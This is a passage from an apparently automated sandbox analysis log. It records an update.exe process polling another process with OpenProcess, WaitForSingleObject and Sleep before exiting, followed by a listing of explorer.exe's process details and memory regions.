lpBaseName="update.exe") returned 0xa [0125.983] CloseHandle (hObject=0xbc) returned 1 [0125.983] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5fd718, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0125.984] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0125.984] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0125.984] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x5fe738*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0125.984] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0125.984] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0125.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0125.984] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0126.499] CloseHandle (hObject=0xbc) returned 1 [0126.499] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0126.499] Sleep (dwMilliseconds=0x1) [0126.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0126.514] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0127.025] CloseHandle (hObject=0xbc) returned 1 [0127.025] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0127.025] Sleep (dwMilliseconds=0x1) [0127.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0127.040] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0127.567] CloseHandle (hObject=0xbc) returned 1 [0127.567] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0127.568] Sleep (dwMilliseconds=0x1) [0127.574] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0127.574] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0128.086] CloseHandle (hObject=0xbc) returned 1 [0128.086] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0128.086] Sleep (dwMilliseconds=0x1) [0128.103] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0128.103] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0128.616] CloseHandle (hObject=0xbc) returned 1 [0128.616] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0128.616] Sleep (dwMilliseconds=0x1) [0128.632] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0128.632] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0129.146] CloseHandle (hObject=0xbc) returned 1 [0129.146] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0129.146] Sleep (dwMilliseconds=0x1) [0129.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0129.162] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0129.679] CloseHandle (hObject=0xbc) returned 1 [0129.679] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0129.679] Sleep (dwMilliseconds=0x1) [0129.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0129.692] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0130.224] CloseHandle (hObject=0xbc) returned 1 [0130.224] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0130.224] Sleep (dwMilliseconds=0x1) [0130.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0130.238] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0130.753] CloseHandle (hObject=0xbc) returned 1 [0130.753] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0130.753] Sleep (dwMilliseconds=0x1) [0130.769] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0130.769] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0131.285] CloseHandle (hObject=0xbc) returned 1 [0131.285] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0131.285] Sleep (dwMilliseconds=0x1) [0131.300] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0131.300] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0131.814] CloseHandle (hObject=0xbc) returned 1 [0131.814] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0131.814] Sleep (dwMilliseconds=0x1) [0131.830] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0131.830] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0132.344] CloseHandle (hObject=0xbc) returned 1 [0132.344] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0132.344] Sleep (dwMilliseconds=0x1) [0132.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0132.361] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0132.875] CloseHandle (hObject=0xbc) returned 1 [0132.875] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0132.875] Sleep (dwMilliseconds=0x1) [0132.890] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0132.890] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0133.409] CloseHandle (hObject=0xbc) returned 1 [0133.410] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0133.410] Sleep (dwMilliseconds=0x1) [0133.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0133.421] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0133.936] CloseHandle (hObject=0xbc) returned 1 [0133.936] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0133.936] Sleep (dwMilliseconds=0x1) [0133.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0133.951] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0134.466] CloseHandle (hObject=0xbc) returned 1 [0134.466] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0134.466] Sleep (dwMilliseconds=0x1) [0134.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0134.482] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0134.997] CloseHandle (hObject=0xbc) returned 1 [0134.997] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0134.997] Sleep (dwMilliseconds=0x1) [0135.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0135.012] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0135.527] CloseHandle (hObject=0xbc) returned 1 [0135.527] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0135.527] Sleep (dwMilliseconds=0x1) [0135.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0135.543] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0136.060] CloseHandle (hObject=0xbc) returned 1 [0136.060] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0136.060] Sleep (dwMilliseconds=0x1) [0136.073] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0136.073] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0136.588] CloseHandle (hObject=0xbc) returned 1 [0136.588] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0136.588] Sleep (dwMilliseconds=0x1) [0136.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0136.606] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0137.118] CloseHandle (hObject=0xbc) returned 1 [0137.118] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 1 [0137.121] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0137.121] ExitProcess (uExitCode=0x0) [0137.121] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "21" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x5f99e000" os_pid = "0x508" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x3fc" cmd_line = "explorer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3706 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3707 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3708 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3709 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3710 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3711 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3712 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3713 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3714 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3715 start_va = 0x100000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3716 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3717 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3718 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3719 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3720 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3721 start_va = 0x200000 end_va = 0x217fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3722 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 3723 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3724 start_va = 0x240000 end_va = 0x242fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 3725 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3726 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3727 start_va = 0x450000 end_va = 0x46bfff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3728 start_va = 0x470000 end_va = 0x474fff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3729 start_va = 0x480000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3730 start_va = 0x4b0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 3731 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3732 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 3733 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3734 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3735 start_va = 0x1bf0000 end_va = 0x1fe2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bf0000" filename = "" Region: id = 3736 start_va = 0x1ff0000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3737 start_va = 0x2070000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 3738 start_va = 0x20d0000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 3739 start_va = 0x2150000 end_va = 0x222efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002150000" filename = "" Region: id = 3740 start_va = 0x2230000 end_va = 0x24fefff entry_point = 0x2230000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3741 start_va = 0x2500000 end_va = 0x2501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 3742 start_va = 0x2510000 end_va = 0x2511fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002510000" filename = "" Region: id = 3743 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x2520000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\System32\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msctf.dll.mui") Region: id = 3744 start_va = 0x2530000 end_va = 0x2532fff entry_point = 0x2530000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") Region: id = 3745 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 3746 start_va = 0x2550000 end_va = 0x256bfff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 3747 start_va = 0x2570000 end_va = 0x25effff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3748 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 3749 start_va = 0x2600000 end_va = 0x266bfff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 3750 start_va = 0x2670000 end_va = 0x2670fff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 3751 start_va = 0x2680000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 3752 start_va = 0x2690000 end_va = 0x269ffff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3753 start_va = 0x26a0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 3754 start_va = 0x26b0000 end_va = 0x26bffff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3755 start_va = 0x26c0000 end_va = 0x26cffff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 3756 start_va = 0x26d0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 3757 start_va = 0x26e0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 3758 start_va = 0x26f0000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 3759 start_va = 0x2700000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 3760 start_va = 0x2710000 end_va = 0x271ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 3761 start_va = 0x2720000 end_va = 0x2721fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002720000" filename = "" Region: id = 3762 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 3763 start_va = 0x2740000 end_va = 0x274ffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 3764 start_va = 0x2750000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 3765 start_va = 0x2850000 end_va = 0x294ffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 3766 start_va = 0x2950000 end_va = 0x2950fff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 3767 start_va = 0x2960000 end_va = 0x296ffff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 3768 start_va = 0x2970000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3769 start_va = 0x2a70000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3770 start_va = 0x2af0000 end_va = 0x2af8fff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3771 start_va = 0x2b00000 end_va = 0x2b07fff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 3772 start_va = 0x2b10000 end_va = 0x2b2ffff entry_point = 0x2b10000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 3773 start_va = 0x2b30000 end_va = 0x2baffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 3774 start_va = 0x2bb0000 end_va = 0x2caffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 3775 start_va = 0x2cb0000 end_va = 0x2eaffff entry_point = 0x0 region_type = private name = "private_0x0000000002cb0000" filename = "" Region: id = 3776 start_va = 0x2eb0000 end_va = 0x31f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002eb0000" filename = "" Region: id = 3777 start_va = 0x3200000 end_va = 0x3200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003200000" filename = "" Region: id = 3778 start_va = 0x3210000 end_va = 0x3211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003210000" filename = "" Region: id = 3779 start_va = 0x3220000 end_va = 0x329ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 3780 start_va = 0x32a0000 end_va = 0x32a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032a0000" filename = "" Region: id = 3781 start_va = 0x32b0000 end_va = 0x32b0fff entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 3782 start_va = 0x32c0000 end_va = 0x333ffff entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 3783 start_va = 0x3340000 end_va = 0x33bffff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 3784 start_va = 0x33c0000 end_va = 0x3ceffff entry_point = 0x33c0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 3785 start_va = 0x3cf0000 end_va = 0x3d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003cf0000" filename = "" Region: id = 3786 start_va = 0x3d70000 end_va = 0x3d70fff entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 3787 start_va = 0x3d80000 end_va = 0x3d80fff entry_point = 0x0 region_type = private name = "private_0x0000000003d80000" filename = "" Region: id = 3788 start_va = 0x3d90000 end_va = 0x3e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 3789 start_va = 0x3e10000 end_va = 0x400ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 3790 start_va = 0x4010000 end_va = 0x408ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004010000" filename = "" Region: id = 3791 start_va = 0x4090000 end_va = 0x410ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004090000" filename = "" Region: id = 3792 start_va = 0x4110000 end_va = 0x418ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004110000" filename = "" Region: id = 3793 start_va = 0x4190000 end_va = 0x4193fff entry_point = 0x4190000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3794 start_va = 0x41a0000 end_va = 0x41cffff entry_point = 0x41a0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.1.ver0x0000000000000001.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.1.ver0x0000000000000001.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.1.ver0x0000000000000001.db") Region: id = 3795 start_va = 0x41d0000 end_va = 0x41d0fff entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 3796 start_va = 0x41e0000 end_va = 0x41e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041e0000" filename = "" Region: id = 3797 start_va = 0x4210000 end_va = 0x4213fff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 3798 start_va = 0x4220000 end_va = 0x4220fff entry_point = 0x4220000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 3799 start_va = 0x4230000 end_va = 0x4230fff entry_point = 0x4230000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 3800 start_va = 0x4240000 end_va = 0x4241fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004240000" filename = "" Region: id = 3801 start_va = 0x4250000 end_va = 0x4250fff entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 3802 start_va = 0x4260000 end_va = 0x4261fff entry_point = 0x4260000 region_type = 